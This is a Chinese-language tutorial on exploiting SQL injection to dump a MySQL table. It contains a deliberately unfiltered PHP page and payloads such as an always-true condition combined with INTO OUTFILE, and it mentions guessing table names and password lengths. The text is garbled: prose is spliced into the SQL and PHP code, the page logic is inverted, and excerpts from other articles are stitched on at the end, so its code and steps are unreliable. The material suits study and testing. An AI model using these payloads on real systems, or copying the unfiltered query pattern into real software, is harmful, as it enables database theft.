在資料庫中建立一張表:
create接下來,寫乙個處理使用者請求的頁面,這裡,我們故意不過濾使用者提交過來的資料,留下個sql注入漏洞用來測試。table `article` (
`articleid` int(11) not
null auto_increment,
`title` varchar(100) character
set utf8 not
null
default
'',`content` text
character
set utf8 not
null,
primary
key (`articleid`)
) engine=myisam auto_increment=
7default charset=latin1;
**如下:
<?php我們直接在瀏覽器中輸入:$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "test";
$id=$_get['id'];//
id未經過濾
$conn=mysql_connect($servername,$dbusername,$dbpassword) or die ("資料庫連線失敗");
mysql_select_db($dbname,$conn);
mysql_query('set names utf8');
$sql = "select * from article where articleid='$id'";
$result = mysql_query($sql,$conn);
$row = mysql_fetch_array($result);
echo "利用sql注入漏洞拖庫";
if (!$row)
echo "標題
".$row['title']."";
echo "內容
".$row['content']."";
?>
即可訪問article表中id為1的一條記錄
訪問結果如下:
分析:%23是#的ascii碼,由於在位址列中直接輸入#後到資料庫系統中會變成空,需要在位址列中輸入%23,那麼才會變成#,進而注釋掉後面的sql語句。
執行之後,開啟e盤,發現多了乙個sql.txt檔案,開啟之後,裡面就是表article中的一條記錄。
答案是可以的,只要你的構造的sql語句足夠靈活(再次提出了構造sql語句的靈活性)。
select * from article where articleid='5' into outfile 'e:/whf.txt'#'
仔細分析下之後,我們可以這樣子構造sql語句:
select * from article where articleid='' or 1=1 into outfile 'e:/whf.txt'#'
這樣的話,無論如何where子句總是為真,換句話說,該sql語句等價於如下:
select * from article into outfile 'e:/whf.txt'#'
懂了吧,該sql語句在先執行select語句,將表article中的所以內容全部檢索出來,然後再執行into outfile 'e:/whf.txt'#'將內容匯出來。
不信的話,你執行下……
利用sql注入漏洞,我們可以猜測表名,列名,使用者的密碼長度(left函式)等等,當然了,如果能直接向以上的演示那樣將表中的資料全部匯出的話就沒必要去猜表名列名等等。
有點累了,就寫到這裡了。
利用sql注入漏洞登入後台和利用sql注入漏洞拖庫
原創文章:web開發_小飛
SQL注入漏洞
sql注入漏洞曾經是web應用程式的噩夢,cms bbs blog無一不曾受其害。sql注入的原理 以往在web應用程式訪問資料庫時一般是採取拼接字串的形式,比如登入的時候就是根據使用者名稱和密碼去查詢 string sql select top 1 from user where username...
SQL注入漏洞
sql注入,就是通過把sql命令插入到web表單遞交或輸入網域名稱或頁面請求的查詢字串,最終達到欺騙伺服器執行惡意的sql命令,比如先前的很多影視 洩露vip會員密碼大多就是通過web表單遞交查詢字元暴出的,這類表單特別容易受到sql注入式攻擊 sql注入的發生 當應用程式使用輸入內容來構造動態sq...
sql注入漏洞
什麼是sql注入 通過把sql命令插入到web表單提交或輸入網域名稱或頁面請求的查詢字串,最終達到欺騙伺服器執行惡意的sql命令。通俗地講,它是利用現有應用程式,將 惡意 的sql命令注入到後台資料庫引擎執行的能力,它可以通過在web表單中輸入 惡意 sql語句得到乙個存在安全漏洞的 上的資料庫,而...